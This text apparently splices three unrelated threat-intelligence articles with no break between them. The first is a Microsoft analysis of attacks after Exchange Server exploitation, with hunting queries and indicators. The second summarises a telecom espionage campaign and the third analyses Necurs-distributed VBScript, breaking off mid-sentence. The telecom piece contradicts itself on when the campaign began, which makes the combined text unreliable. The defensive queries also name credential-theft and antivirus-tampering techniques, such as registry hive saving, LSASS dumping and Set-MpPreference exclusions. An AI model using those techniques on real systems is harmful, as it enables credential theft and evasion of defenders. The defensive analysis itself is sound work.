# Analyzing Attacks Taking Advantage of the Exchange Server Vulnerabilities Microsoft continues to monitor and investigate attacks exploiting the recent on-premises Exchange Server vulnerabilities. These attacks are now performed by multiple threat actors ranging from financially motivated cybercriminals to state-sponsored groups. To help customers who are not able to immediately install updates, Microsoft released a one-click tool that automatically mitigates one of the vulnerabilities and scans servers for known attacks. Microsoft also built this capability into Microsoft Defender Antivirus, expanding the reach of the mitigation. As of today, we have seen a significant decrease in the number of still-vulnerable servers – more than 92% of known worldwide Exchange IPs are now patched or mitigated. We continue to work with our customers and partners to mitigate the vulnerabilities. As organizations recover from this incident, we continue to publish guidance and share threat intelligence to help detect and evict threat actors from affected environments. Today, we are sharing intelligence about what some attackers did after exploiting the vulnerable servers, ranging from ransomware to data exfiltration and deployment of various second-stage payloads. This blog covers: - Threat intelligence and technical details about known attacks, including components and attack paths, that defenders can use to investigate whether on-premises Exchange servers were compromised before they were patched and to comprehensively respond to and remediate these threats if they see them in their environments. - Detection and automatic remediation built into Microsoft Defender Antivirus and how investigation and remediation capabilities in solutions like Microsoft Defender for Endpoint can help responders perform additional hunting and remediate threats. Although the overall numbers of ransomware have remained extremely small to this point, it is important to remember that these threats show how quickly attackers can pivot their campaigns to take advantage of newly disclosed vulnerabilities and target unpatched systems, demonstrating how critical it is for organizations to apply security updates as soon as possible. We strongly urge organizations to identify and update vulnerable on-premises Exchange servers and to follow mitigation and investigation guidance that we have collected and continue to update. ## Mitigating Post-Exploitation Activities The first known attacks leveraging the Exchange Server vulnerabilities were by the nation-state actor HAFNIUM. In the three weeks after the Exchange server vulnerabilities were disclosed and the security updates were released, Microsoft saw numerous other attackers adopting the exploit into their toolkits. Attackers are known to rapidly work to reverse engineer patches and develop exploits. In the case of a remote code execution (RCE) vulnerability, the rewards are high for attackers who can gain access before an organization patches, as patching a system does not necessarily remove the access of the attacker. In our investigation of the on-premises Exchange Server attacks, we saw systems being affected by multiple threats. Many of the compromised systems have not yet received a secondary action, such as human-operated ransomware attacks or data exfiltration, indicating attackers could be establishing and keeping their access for potential later actions. These actions might involve performing follow-on attacks via persistence on Exchange servers they have already compromised or using credentials and data stolen during these attacks to compromise networks through other entry vectors. Attackers who included the exploit in their toolkits, whether through modifying public proof of concept exploits or their own research, capitalized on their window of opportunity to gain access to as many systems as they could. Some attackers were advanced enough to remove other attackers from the systems and use multiple persistence points to maintain access to a network. We have built protections against these threats into Microsoft security solutions. While performing a full investigation on systems is recommended, the following themes are common in many of the attacks. These are prevailing threat trends that Microsoft has been monitoring, and existing solutions and recommendations for prevention and mitigation apply: - **Web shells** – Many of the unpatched systems we observed had multiple web shells on them. Microsoft has been tracking the rise of web shell attacks for the past few years, ensuring our products detect these threats and providing remediation guidance for customers. - **Human-operated ransomware** – Ransomware attacks pose some of the biggest security risks for organizations today, and attackers behind these attacks were quick to take advantage of the on-premises Exchange Server vulnerabilities. Successfully exploiting the vulnerabilities gives attackers the ability to launch human-operated ransomware campaigns, a trend that Microsoft has been closely monitoring. - **Credential theft** – While credential theft is not the immediate goal of some of these attacks, access to Exchange servers allowed attackers to access and potentially steal credentials present on the system. Attackers can use these stolen credentials for follow-on attacks later, so organizations need to prioritize identifying and remediating impacted identities. In the following sections, we share our analysis of known post-compromise activities associated with exploitation of the Exchange server vulnerabilities because it is helpful to understand these TTPs, in order to defend against other actors using similar tactics or tools. While levels of disruptive post-compromise activity like ransomware may be limited at the time of this writing, Microsoft will continue to track this space and share information with the community. It’s important to note that with some post-compromise techniques, attackers may gain highly privileged persistent access, but many of the impactful subsequent attacker activities can be mitigated by practicing the principle of least privilege. ## DoejoCrypt Ransomware DoejoCrypt was the first ransomware to appear to take advantage of the vulnerabilities, starting to encrypt in limited numbers shortly after the patches were released. Ransomware attackers often use multiple tools and exploits to gain initial access, including purchasing access through a broker or “reseller” who sells access to systems they have already compromised. The DoejoCrypt attacks start with a variant of the Chopper web shell being deployed to the Exchange server post-exploitation. The web shell writes a batch file to `C:\Windows\Temp\xx.bat`. Found on all systems that received the DoejoCrypt ransomware payload, this batch file performs a backup of the Security Account Manager (SAM) database and the System and Security registry hives, allowing the attackers later access to passwords of local users on the system and, more critically, in the LSA Secrets portion of the registry, where passwords for services and scheduled tasks are stored. Given configurations that administrators typically use on Exchange servers, many of the compromised systems are likely to have had at least one service or scheduled task configured with a highly privileged account to perform actions like backups. As service account credentials are not frequently changed, this could provide a great advantage to an attacker even if they lose their initial web shell access due to an antivirus detection, as the account can be used to elevate privileges later, which is why we strongly recommend operating under the principle of least privileged access. The batch file saves the registry hives to a semi-unique location, `C:\windows\temp\debugsms`, assembles them into a CAB file for exfiltration, and then cleans up the folders from the system. The file also enables Windows Remote Management and sets up an HTTP listener, indicating the attacker might take advantage of the internet-facing nature of an Exchange Server and use this method for later access if other tools are removed. The `xx.bat` file has been run on many more systems than have been ransomed by the DoejoCrypt attacker, meaning that, while not all systems have moved to the ransom stage, the attacker has gained access to multiple credentials. On systems where the attacker moved to the ransom stage, we saw reconnaissance commands being run via the same web shell that dropped the `xx.bat` file. After these commands are completed, the web shell drops a new payload to `C:\Windows\Help` which, like in many human-operated ransomware campaigns, leads to the attack framework Cobalt Strike. In observed instances, the downloaded payload is shellcode with the file name `new443.exe` or `Direct_Load.exe`. When run, this payload injects itself into `notepad.exe` and reaches out to a C2 to download Cobalt Strike shellcode. During the hands-on-keyboard stage of the attack, a new payload is downloaded to `C:\Windows\Help` with names like `s1.exe` and `s2.exe`. This payload is the DoejoCrypt ransomware, which uses a `.CRYPT` extension for the newly encrypted files and a very basic `readme.txt` ransom note. In some instances, the time between `xx.bat` being dropped and a ransomware payload running was under half an hour. While the DoejoCrypt payload is the most visible outcome of the attackers’ actions, the access to credentials they have gained could serve them for future campaigns if organizations do not reset credentials on compromised systems. An additional overlapping activity observed on systems where `xx.bat` was present and the attackers were able to get Domain Administrator rights was the running of scripts to snapshot Active Directory with `ntdsutil`—an action that, if executed successfully, could give the attackers access to all the passwords in Active Directory from a single compromised system. ## Lemon Duck Botnet Cryptocurrency miners were some of the first payloads we observed being dropped by attackers from the post-exploit web shells. In the first few days after the security updates were released, we observed multiple cryptocurrency miner campaigns, which had been previously targeting SharePoint servers, add Exchange Server exploitation to their repertoire. Most of these coin miners were variations on XMRig miners, and many arrived via a multi-featured implant with the capability to download new payloads or even move laterally. Lemon Duck, a known cryptocurrency botnet named for a variable in its code, dove into the Exchange exploit action, adopting different exploit styles and choosing to use a fileless/web shell-less option of direct PowerShell commands from `w3wp` (the IIS worker process) for some attacks. While still maintaining their normal email-based campaigns, the Lemon Duck operators compromised numerous Exchange servers and moved in the direction of being more of a malware loader than a simple miner. Using a form of the attack that allows direct execution of commands versus dropping a web shell, the Lemon Duck operators ran standard Invoke Expression commands to download a payload. Having used the same C2 and download servers for some time, the operators applied a varied degree of obfuscation to their commands on execution. The Lemon Duck payload is an encoded and obfuscated PowerShell script. It first removes various security products from the system, then creates scheduled tasks and WMI Event subscriptions for persistence. A second script is downloaded to attempt to evade Microsoft Defender Antivirus, abusing their administrative access to run the `Set-MPPreference` command to disable real-time monitoring and add scanning exclusions for the C:\ drive and the PowerShell process. One randomly named scheduled task connects to a C2 every hour to download a new payload, which includes various lateral movement and credential theft tools. The operators were seen to download RATs and information stealers, including Ramnit payloads. In some instances, the operators took advantage of having compromised mail servers to access mailboxes and send emails containing the Lemon Duck payload using various colorful email subjects. In one notable example, the Lemon Duck operators compromised a system that already had `xx.bat` and a web shell. After establishing persistence on the system in a non-web shell method, the Lemon Duck operators were observed cleaning up other attackers’ presence on the system and mitigating the CVE-2021-26855 (SSRF) vulnerability using a legitimate cleanup script that they hosted on their own malicious server. This action prevents further exploitation of the server and removes web shells, giving Lemon Duck exclusive access to the compromised server. This stresses the need to fully investigate systems that were exposed, even if they have been fully patched and mitigated, per traditional incident response process. ## Pydomer Ransomware While DoejoCrypt was a new ransomware payload, the access gained by attackers via the on-premises Exchange Server vulnerabilities will likely become part of the complex cybercriminal economy where additional ransomware operators and affiliates take advantage of it. The first existing ransomware family to capitalize on the vulnerabilities was Pydomer. This ransomware family was previously seen using vulnerabilities in attacks, notably taking advantage of Pulse Secure VPN vulnerabilities, for which Pulse Secure has released security patches, to steal credentials and perform ransomware attacks. In this campaign, the operators scanned and mass-compromised unpatched Exchange Servers to drop a web shell. They started later than some other attackers, with many compromises occurring between March 18 and March 20, a window when fewer unpatched systems were available. They then dropped a web shell, with a notable file name format: “Chack[Word][Country abbreviation]”. These web shells were observed on around 1,500 systems, not all of which moved to the ransomware stage. The attackers then used their web shell to dump a `test.bat` batch file that performed a similar function in the attack chain to the `xx.bat` of the DoejoCrypt operators and allowed them to perform a dump of the LSASS process. This access alone would be valuable to attackers for later attacks, similar to the credentials gained during their use of Pulse Secure VPN vulnerabilities. The highly privileged credentials gained from an Exchange system are likely to contain domain administrator accounts and service accounts with backup privileges, meaning these attackers could perform ransomware and exfiltration actions against the networks they compromised long after the Exchange Server is patched and even enter via different means. On systems where the attackers did move to second-stage ransomware operations, they utilized a Python script compiled to an executable and the Python cryptography libraries to encrypt files. The attackers then executed a PowerShell script via their web shell that acts as a downloader and distribution mechanism for the ransomware. The script fetches a payload from a site hosted on a domain generation algorithm (DGA) domain and attempts to spread the payload throughout the network, first attempting to spread the payload over WMI using `Invoke-WMIMethod` to attempt to connect to systems, and falling back to PowerShell remoting with `Enter-PSSession` if that fails. The script is run within the context of the web shell, which in most instances is Local System, so this lateral movement strategy is unlikely to work except in organizations that are running highly insecure and unrecommended configurations like having computer objects in highly privileged groups. The Pydomer ransomware is a Python script compiled to an executable and uses the Python cryptography libraries to encrypt files. The ransomware encrypts the files and appends a random extension, and then drops a ransom note named `decrypt_file.TxT`. Interestingly, the attackers seem to have deployed a non-encryption extortion strategy. Following well-known ransomware groups like Maze and Egregor which leaked data for pay, the Pydomer hackers dropped an alternative `readme.txt` onto systems without encrypting files. This option might have been semi-automated on their part or a side effect of a failure in their encryption process, as some of the systems they accessed were test systems that showed no data exfiltration. The note should be taken seriously if encountered, as the attackers had full access to systems and were likely able to exfiltrate data. ## Credential Theft, Turf Wars, and Dogged Persistence If a server is not running in a least-privilege configuration, credential theft could provide a significant return on investment for an attacker beyond their initial access to email and data. Many organizations have backup agent software and scheduled tasks running on these systems with domain admin-level permissions. For these organizations, the attackers might be able to harvest highly privileged credentials without lateral movement, for example, using the COM services DLL as a living-off-the-land binary to perform a dump of the LSASS process. The number of observed credential theft attacks, combined with high privilege of accounts often given to Exchange servers, means that these attacks could continue to impact organizations that don’t fully remediate after a compromise even after patches have been applied. While the observed ransomware attempts were small-scale or had errors, there is still the possibility of more skillful groups utilizing credentials gained in these attacks for later attacks. Attackers also used their access to perform extensive reconnaissance using built-in Exchange commandlets and `dsquery` to exfiltrate information about network configurations, user information, and email assets. While Lemon Duck operators might have had the boldest method for removing other attackers from the systems they compromised, they were not the only attacker to do so. Others were observed cleaning up `.aspx` and `.bat` files to remove other attackers and even rebuilding the WMI database by deleting `.mof` files and restarting the service. As the window on unpatched machines closes, attackers showed increased interest in maintaining the access to the systems they exploited. By utilizing “malwareless” persistence mechanisms like enabling RDP, installing Shadow IT tools, and adding new local administrator accounts, the attackers are hoping to evade incident response efforts that might focus exclusively on web shells, AV scans, and patching. ## Defending Against Exploits and Post-Compromise Activities Attackers exploit the on-premises Exchange Server vulnerabilities in combination to bypass authentication and gain the ability to write files and run malicious code. The best and most complete remediation for these vulnerabilities is to update to a supported Cumulative Update and to install all security updates. Comprehensive mitigation guidance can be found here. If you have determined or have reason to suspect that these threats are present on your network, here are immediate steps you can take: - Investigate exposed Exchange servers for compromise, regardless of their current patch status. - Look for web shells via our guidance and run a full AV scan using the Exchange On-Premises Mitigation Tool. - Investigate Local Users and Groups, even non-administrative users for changes, and ensure all users require a password for sign-in. New user account creations during the time the system was vulnerable might indicate a malicious user creation. - Reset and randomize local administrator passwords with a tool like LAPS if you are not already doing so. - Look for changes to the RDP, firewall, WMI subscriptions, and Windows Remote Management (WinRM) configuration of the system that might have been configured by the attacker to allow persistence. - Look for Event ID 1102 to determine if attackers cleared event logs, an activity that attackers perform with exe in an attempt to hide their tracks. - Look for new persistence mechanisms such as unexpected services, scheduled tasks, and startup items. - Look for Shadow IT tools that attackers might have installed for persistence, such as non-Microsoft RDP and remote access clients. - Check mailbox-level email forwarding settings, check mailbox inbox rules, and check Exchange Transport rules that you might not recognize. While our response tools check for and remove known web shells and attack tools, performing a full investigation of these systems is recommended. For comprehensive investigation and mitigation guidance and tools, see the provided resources. Additionally, here are best practices for building credential hygiene and practicing the principle of least privilege: - Follow guidance to run Exchange in least-privilege configuration. - Ensure service accounts and scheduled tasks run with the least privileges they need. Avoid widely privileged groups like domain admins and backup operators and prefer accounts with access to just the systems they need. - Randomize local administrator passwords to prevent lateral movement with tools like LAPS. - Ensure administrators practice good administration habits like Privileged Admin Workstations. - Prevent privileged accounts like domain admins from signing into member servers and workstations using Group Policy to limit credential exposure and lateral movement. ## Appendix ### Microsoft Defender for Endpoint Detection Details **Antivirus** Microsoft Defender Antivirus detects exploitation behavior with these detections: - Behavior:Win32/Exmann - Behavior:Win32/IISExchgSpawnEMS - Exploit:ASP/CVE-2021-27065 - Exploit:Script/Exmann - Trojan:Win32/IISExchgSpawnCMD - Behavior:Win32/IISExchgDropWebshell **Web shells are detected as:** - Backdoor:JS/Webshell - Backdoor:PHP/Chopper - Backdoor:ASP/Chopper - Backdoor:MSIL/Chopper - Trojan:JS/Chopper - Trojan:Win32/Chopper - Behavior:Win32/WebShellTerminal **Ransomware payloads and associated files are detected as:** - Trojan:BAT/Wenam – xx.bat behaviors - Ransom:Win32/DoejoCrypt – DoejoCrypt ransomware - Trojan:PowerShell/Redearps – PowerShell spreader in Pydomer attacks - Ransom:Win64/Pydomer – Pydomer ransomware **Lemon Duck malware is detected as:** - Trojan:PowerShell/LemonDuck - Trojan:Win32/LemonDuck **Some of the credential theft techniques highlighted in this report are detected as:** - Behavior:Win32/DumpLsass - Behavior:Win32/RegistryExfil ### Endpoint Detection and Response (EDR) Alerts with the following titles in the security center can indicate threat activity on your network: - Suspicious Exchange UM process creation - Suspicious Exchange UM file creation - Suspicious w3wp.exe activity in Exchange - Possible exploitation of Exchange Server vulnerabilities - Possible IIS web shell - Possible web shell installation - Web shells associated with Exchange Server vulnerabilities - Network traffic associated with Exchange Server exploitation Alerts with the following titles in the security center can indicate threat activity on your network specific to the DoejoCrypt and Pydomer ransomware campaign: - DoejoCrypt ransomware - Pydomer ransomware - Pydomer download site Alerts with the following titles in the security center can indicate threat activity on your network specific to the Lemon Duck botnet: - LemonDuck Malware - LemonDuck botnet C2 domain activity The following behavioral alerts might also indicate threat activity associated with this threat: - Possible web shell installation - A suspicious web script was created - Suspicious processes indicative of a web shell - Suspicious file attribute change - Suspicious PowerShell command line - Possible IIS Web Shell - Process memory dump - A malicious PowerShell Cmdlet was invoked on the machine - WDigest configuration change - Sensitive information lookup - Suspicious registry export ### Advanced Hunting To locate possible exploitation activities in Microsoft Defender for Endpoint, run the following queries. **Processes run by the IIS worker process** Look for processes executed by the IIS worker process. ```plaintext DeviceProcessEvents | where InitiatingProcessFileName == 'w3wp.exe' | where InitiatingProcessCommandLine contains "MSExchange" | where FileName !in~ ("csc.exe","cvtres.exe","conhost.exe","OleConverter.exe","wermgr.exe","WerFault.exe","TranscodingService.exe") | project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Search for PowerShell spawned from the IIS worker process, observed most frequently in Lemon Duck with Base64 encoding to obfuscate C2 domains.** ```plaintext DeviceProcessEvents | where FileName =~ "powershell.exe" | where InitiatingProcessFileName =~ "w3wp.exe" | where InitiatingProcessCommandLine contains "MSExchange" | project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Tampering** Search for Lemon Duck tampering with Microsoft Defender Antivirus. ```plaintext DeviceProcessEvents | where InitiatingProcessCommandLine has_all ("Set-MpPreference", "DisableRealtimeMonitoring", "Add-MpPreference", "ExclusionProcess") | project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Batch script actions** Search for batch scripts performing credential theft, as observed in DoejoCrypt infections. ```plaintext DeviceProcessEvents | where InitiatingProcessFileName == "cmd.exe" | where InitiatingProcessCommandLine has ".bat" and InitiatingProcessCommandLine has @"C:\Windows\Temp" | where ProcessCommandLine has "reg save" | project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Look for evidence of batch script execution that leads to credential dumping.** ```plaintext DeviceProcessEvents | where InitiatingProcessFileName =~ "cmd.exe" | where InitiatingProcessCommandLine has ".bat" and InitiatingProcessCommandLine has @"\inetpub\wwwroot\aspnet_client\" | where InitiatingProcessParentFileName has "w3wp" | where FileName != "conhost.exe" | project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Suspicious files dropped under an aspnet_client folder** Look for dropped suspicious files like web shells and other components. ```plaintext DeviceFileEvents | where InitiatingProcessFileName == "w3wp.exe" | where FolderPath has "\\aspnet_client\\" | where InitiatingProcessCommandLine contains "MSExchange" | project FileName, FolderPath, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Checking for persistence on systems that have been suspected as compromised** Search for creations of new local accounts. ```plaintext DeviceProcessEvents | where FileName == "net.exe" | where ProcessCommandLine has_all ("user", "add") | project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Search for installation events that were used to download ScreenConnect for persistence.** Note that this query may be noisy and is not necessarily indicative of malicious activity alone. ```plaintext DeviceProcessEvents | where FileName =~ "msiexec.exe" | where ProcessCommandLine has @"C:\Windows\Temp\" | parse-where kind=regex flags=i ProcessCommandLine with @"C:\\Windows\\Temp\\" filename:string @".msi" | project filename, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp ``` **Hunting for credential theft** Search for logon events related to services and scheduled tasks on devices that may be Exchange servers. The results of this query should be used to verify whether any of these users have privileged roles that might have enabled further persistence. ```plaintext let devices = DeviceProcessEvents | where InitiatingProcessFileName == "w3wp.exe" and InitiatingProcessCommandLine contains "MSExchange" | distinct DeviceId; DeviceLogonEvents | where DeviceId in (devices) | where LogonType in ("Batch", "Service") | project AccountName, AccountDomain, LogonType, DeviceId, Timestamp ``` **Search for WDigest registry key modification, which allows for the LSASS process to store plaintext passwords.** ```plaintext DeviceRegistryEvents | where RegistryValueName == "UseLogonCredential" | where RegistryKey has "WDigest" and RegistryValueData == "1" | project PreviousRegistryValueData, RegistryValueData, RegistryKey, RegistryValueName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp ``` **Search for the COM services DLL being executed by rundll32, which can be used to dump LSASS memory.** ```plaintext DeviceProcessEvents | where InitiatingProcessCommandLine has_all ("rundll32.exe", "comsvcs.dll") | project FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp ``` **Search for Security Account Manager (SAM) or SECURITY databases being saved, from which credentials can later be extracted.** ```plaintext DeviceProcessEvents | where FileName == "reg.exe" | where ProcessCommandLine has "save" and ProcessCommandLine has_any ("hklm\\security", "hklm\\sam") | project InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp ``` ### Indicators Selected indicators from attacks are included here; the threats may utilize files and network indicators not represented here. **Files (SHA-256)** The following are file hashes for some of the web shells observed during attacks: - 201e4e9910dcdc8c4ffad84b60b328978db8848d265c0b9ba8473cf65dcd0c41 - 2f0bc81c2ea269643cae307239124d1b6479847867b1adfe9ae712a1d5ef135e - 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea - 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1 - 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5 - 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d - 8e90ed33c7ee82c0b64078ea36ec95f7420ba435c693b3b3dd728b494abf7dfc - a291305f181e24fe7194154b4cd355ccb039d5765709c80999e392efec69c90a - b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0 - dd29e8d47dde124c7d14e614e03ccaab3ecaa50e0a0bef985ed59e98928bc13d **DoejoCrypt associated hashes:** - 027119161d11ba87acc908a1d284b93a6bcafccc012e52ce390ecb9cd745bf27 - 10bce0ff6597f347c3cca8363b7c81a8bff52d2ff81245cd1e66a6e11aeb25da - 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff - 904fbea2cd68383f32c5bc630d2227601dc52f94790fe7a6a7b6d44bfd904ff3 - bf53b637683f9cbf92b0dd6c97742787adfbc12497811d458177fdeeae9ec748 - e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6 - fdec933ca1dd1387d970eeea32ce5d1f87940dfb6a403ab5fc149813726cbd65 - feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede **Lemon Duck associated hashes:** - 0993cc228a74381773a3bb0aa36a736f5c41075fa3201bdef4215a8704e582fc - 3df23c003d62c35bd6da90df12826c1d3fdd94029bf52449ba3d89920110d5ec - 4f0b9c0482595eee6d9ece0705867b2aae9e4ff68210f32b7425caca763723b9 - 56101ab0881a6a34513a949afb5a204cad06fd1034f37d6791f3ab31486ba56c - 69ce57932c3be3374e8843602df1c93e1af622fc53f3f1d9b0a75b66230a1e2e - 737752588f32e4c1d8d20231d7ec553a1bd4a0a090b06b2a1835efa08f9707c4 - 893ddf0de722f345b675fd1ade93ee1de6f1cad034004f9165a696a4a4758c3e - 9cf63310788e97f6e08598309cbbf19960162123e344df017b066ca8fcbed719 - 9f2fe33b1c7230ec583d7f6ad3135abcc41b5330fa5b468b1c998380d20916cd - a70931ebb1ce4f4e7d331141ad9eba8f16f98da1b079021eeba875aff4aeaa85 - d8b5eaae03098bead91ff620656b9cfc569e5ac1befd0f55aee4cdb39e832b09 - db093418921aae00187ae5dc6ed141c83614e6a4ec33b7bd5262b7be0e9df2cd - dc612f5c0b115b5a13bdb9e86f89c5bfe232e5eb76a07c3c0a6d949f80af89fd - f517526fc57eb33edb832920b1678d52ad1c5cf9c707859551fe065727587501 - f8d388f502403f63a95c9879c806e6799efff609001701eed409a8d33e55da2f - fbeefca700f84373509fd729579ad7ea0dabdfe25848f44b2fbf61bf7f909df0 **Pydomer associated hashes:** - 7e07b6addf2f0d26eb17f4a1be1cba11ca8779b0677cedc30dbebef77ccba382 - 866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc - 910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db - a387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287 - b9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f - c25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a - c4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908 ### Network Indicators **Domains abused by Lemon Duck:** - down[.]sqlnetcat[.]com - t[.]sqlnetcat[.]com - t[.]netcatkit[.]com **Pydomer DGA network indicators:** - uiiuui[.]com/search/* - yuuuuu43[.]com/vpn-service/* - yuuuuu44[.]com/vpn-service/* - yuuuuu46[.]com/search/*
# Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers **Written By** Cybereason Nocturnus June 25, 2019 | 16 minute read ## EXECUTIVE SUMMARY In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting global telecommunications providers carried out by a threat actor using tools and techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This multi-wave attack focused on obtaining data of specific, high-value targets and resulted in a complete takeover of the network. ## Key Points - Cybereason identified an advanced, persistent attack targeting telecommunications providers that has been underway for years. - The attack was spotted and supported through four more waves over the course of 6 months. - Operation Soft Cell has been active since at least 2012, with evidence suggesting even earlier activity. - The attack aimed to obtain CDR records of a large telecommunications provider and steal all data stored in the active directory, compromising usernames, passwords, personally identifiable information, billing data, call detail records, and more. - The attackers worked in waves, abandoning one thread of attack when detected and returning months later with new tools and techniques. ## Security Recommendations - Add an additional security layer for web servers, such as using a Web Application Firewall (WAF). - Expose as few systems or ports to the Internet as possible and ensure all exposed web servers are patched. - Use an Endpoint Detection and Response (EDR) tool for visibility and immediate response capabilities. - Proactively hunt for sensitive assets in your environment periodically. ## INTRODUCTION In 2018, 30% of telecommunications providers reported sensitive customer information was stolen due to an attack. These providers have expanded significantly, with mobile cellular phone subscribers quadrupling to 8 billion over the past thirteen years. Telecommunications providers have become critical infrastructure for many world powers. Nation-state threat actors seek opportunities to attack these organizations, conducting elaborate operations to gain leverage, seize strategic assets, and collect information. Successful attacks often have huge implications. Last year, we identified a threat actor operating in telecommunications provider environments for at least two years. A post-incident review revealed changes in attack patterns and new activity every quarter. The threat actor primarily sought to obtain CDR data belonging to specific individuals from various countries, indicating targeted cyber espionage typically associated with nation-state actors. We concluded with high certainty that the threat actor is affiliated with China and likely state-sponsored, using tools and techniques consistent with several Chinese threat actors, such as APT10. ## Anatomy of the Attack ### Initial Compromise: The Modified China Chopper Web Shell The initial indicator of the attack was a malicious web shell detected on an IIS server. This modified version of the China Chopper web shell allowed the threat actor to run reconnaissance commands, steal credentials, and deploy other tools. ### Reconnaissance and Credential Stealing The threat actor launched reconnaissance commands to obtain information about the compromised machine, network architecture, users, and active directory enumeration. A modified nbtscan tool was used to identify available NetBIOS name servers. Following reconnaissance, the threat actor attempted to dump credentials using a modified version of Mimikatz. ### Lateral Movement Once the threat actor mapped the network and obtained credentials, they began moving laterally, compromising critical assets, including production servers and database servers, and gaining full control of the Domain Controller. ### Maintaining a Long-term Foothold and Stealing Data The threat actor created rogue, high-privileged domain user accounts to maintain access between different waves of the attack. They also deployed the PoisonIvy RAT to maintain access across compromised assets. ### Data Exfiltration The threat actor exfiltrated stolen data using multiple channels, including web shells and hTran. They compressed and password-protected the stolen data using WinRAR, a technique previously observed in APT10-related attacks. ### Understanding the Motive Nation-state threat actors typically seek intellectual property or sensitive information rather than financial gain. One of the most valuable pieces of data held by telecommunications providers is Call Detail Records (CDRs), which provide intimate knowledge of targeted individuals. ## Threat Intel Research ### Methodology 1. **Creating and Maintaining an IOC Inventory**: A comprehensive list of indicators of compromise (IOCs) was created and updated. 2. **Hunting for Known Evil**: The team hunted for known IOCs across multiple environments. 3. **Threat Actor’s Arsenal**: Identified and analyzed the tools used throughout the attack. 4. **Creating a TTP-based Behavioral Profile**: Developed a behavioral profile of the threat actor based on observed techniques. 5. **Mapping out the Infrastructure and Operational Activity**: Analyzed the threat actor's infrastructure and operational security. 6. **Rounding Up Immediate/Potential Suspects**: Considered various aspects for attribution, including IOCs, TTPs, tools, and motives. ## Conclusion This blog describes an ongoing global attack against telecommunications providers active since at least 2017. The threat actor infiltrated deep into the providers’ networks and compromised critical assets. The investigation revealed that the threat actor is likely state-sponsored and affiliated with China, with strong indications pointing to APT10. The attacks targeted specific individuals, but the potential for broader disruption of telecommunications networks poses significant risks. The Cybereason Nocturnus team will continue to monitor and track the threat actor’s activity.
# Botception with Necurs: Botnet Distributes Script with Bot Capabilities VBScript allows threat actors to steal personal data and make victims vulnerable to keyloggers, banking malware, and ransomware. Over the past few days, we have been analyzing a development with the Necurs botnet - a cybercrime operation dating back to 2012 that quickly became one of the largest spam botnets in the world. We reported on the infamous cybergang responsible for the distribution of global malware campaigns such as “Locky” and “GlobeImposter” in two blog posts that explained how malware is spread via Necurs. Now we have seen a new link to that chain with attackers serving brand new files via the same botnet. These files are spreading malicious Visual Basic Scripts (VBScripts), and our analysis suggests that the authors are using the services provided by the Necurs botnet to reach more victims. The ultimate goal of the attackers is to make systems vulnerable to attacks with the ability to steal personal data and to infect them with keyloggers, banking malware, and ransomware. An examination of the source code suggests that the VBScripts are hosting a severe form of malware known as Agony Rootkit used to infect the Master Boot Record (MBR) of computers. This can be particularly destructive. By infecting the MBR, the malware is able to execute before systems boot up, allowing it to bypass security software. It then inserts a backdoor into the operating system, which gives the attacker full control of the machine. With these administrative rights, the attacker can install worms, keyloggers, and other malicious files. They can also access stored data, including personal or financial information, putting users at risk. ## A Deeper Look Inside the VBScripts Distributed by Necurs Below are examples of live VBScripts in action. At first glance, it appears to include random numerical combinations that could be discarded as junk, possibly added to alter the code structure in order to evade detection. However, we spent some time investigating the code via the decryption function and spotted some logic behind its construction. The scripts themselves are around 72KB and are similar in composition except for some small changes in the obfuscation methods. A closer look at the code reveals some important information. We noticed that the function uses ReadLine on the file itself to decrypt the control panel. The script is really easy to deobfuscate; the only issue is comment removal — which is often present in analytical tools — that can mislead the analysts. After decrypting these comments, in version one, we spotted a nice piece of code which could be used as a modeling example “How to write the control panel for your malware in VBS”. The next version is less self-explanatory and readable. It's probable that the authors of VBScripts connected with the authors of the Necurs botnet because of its scale and potential for ubiquitous email scams. The scripts appear to work as a downloader and control panel for the Agony rootkit; however, changing the payload is particularly easy. This could open the door to more severe malware infections for victims in the future, such as ransomware or banking Trojans. ## The Malware Control Panel Includes Unusually Beautiful Code The code itself contains very well-named variables and also debugging output to a log file. However, debugging is switched off by default as the variable isDebug is set to false. The debugging output informs about every important subroutine and contains strings such as: - "Preparing done!" (initialization and installation phase finished) - "Oh, its main cycle! CMD response" & cmd (after receiving a new command) - "F***! Panel maybe die! I will try to change it..." (new command has less than 4 characters) - "Unistall [sic] command gotted!" (uninstall command received) - "Oh, its ddos command!" (ddos command received) - “ddos finished! Sended "&cnt&" requests!" (ddos command finished) Interestingly, this makes this code unusually beautiful as one rarely 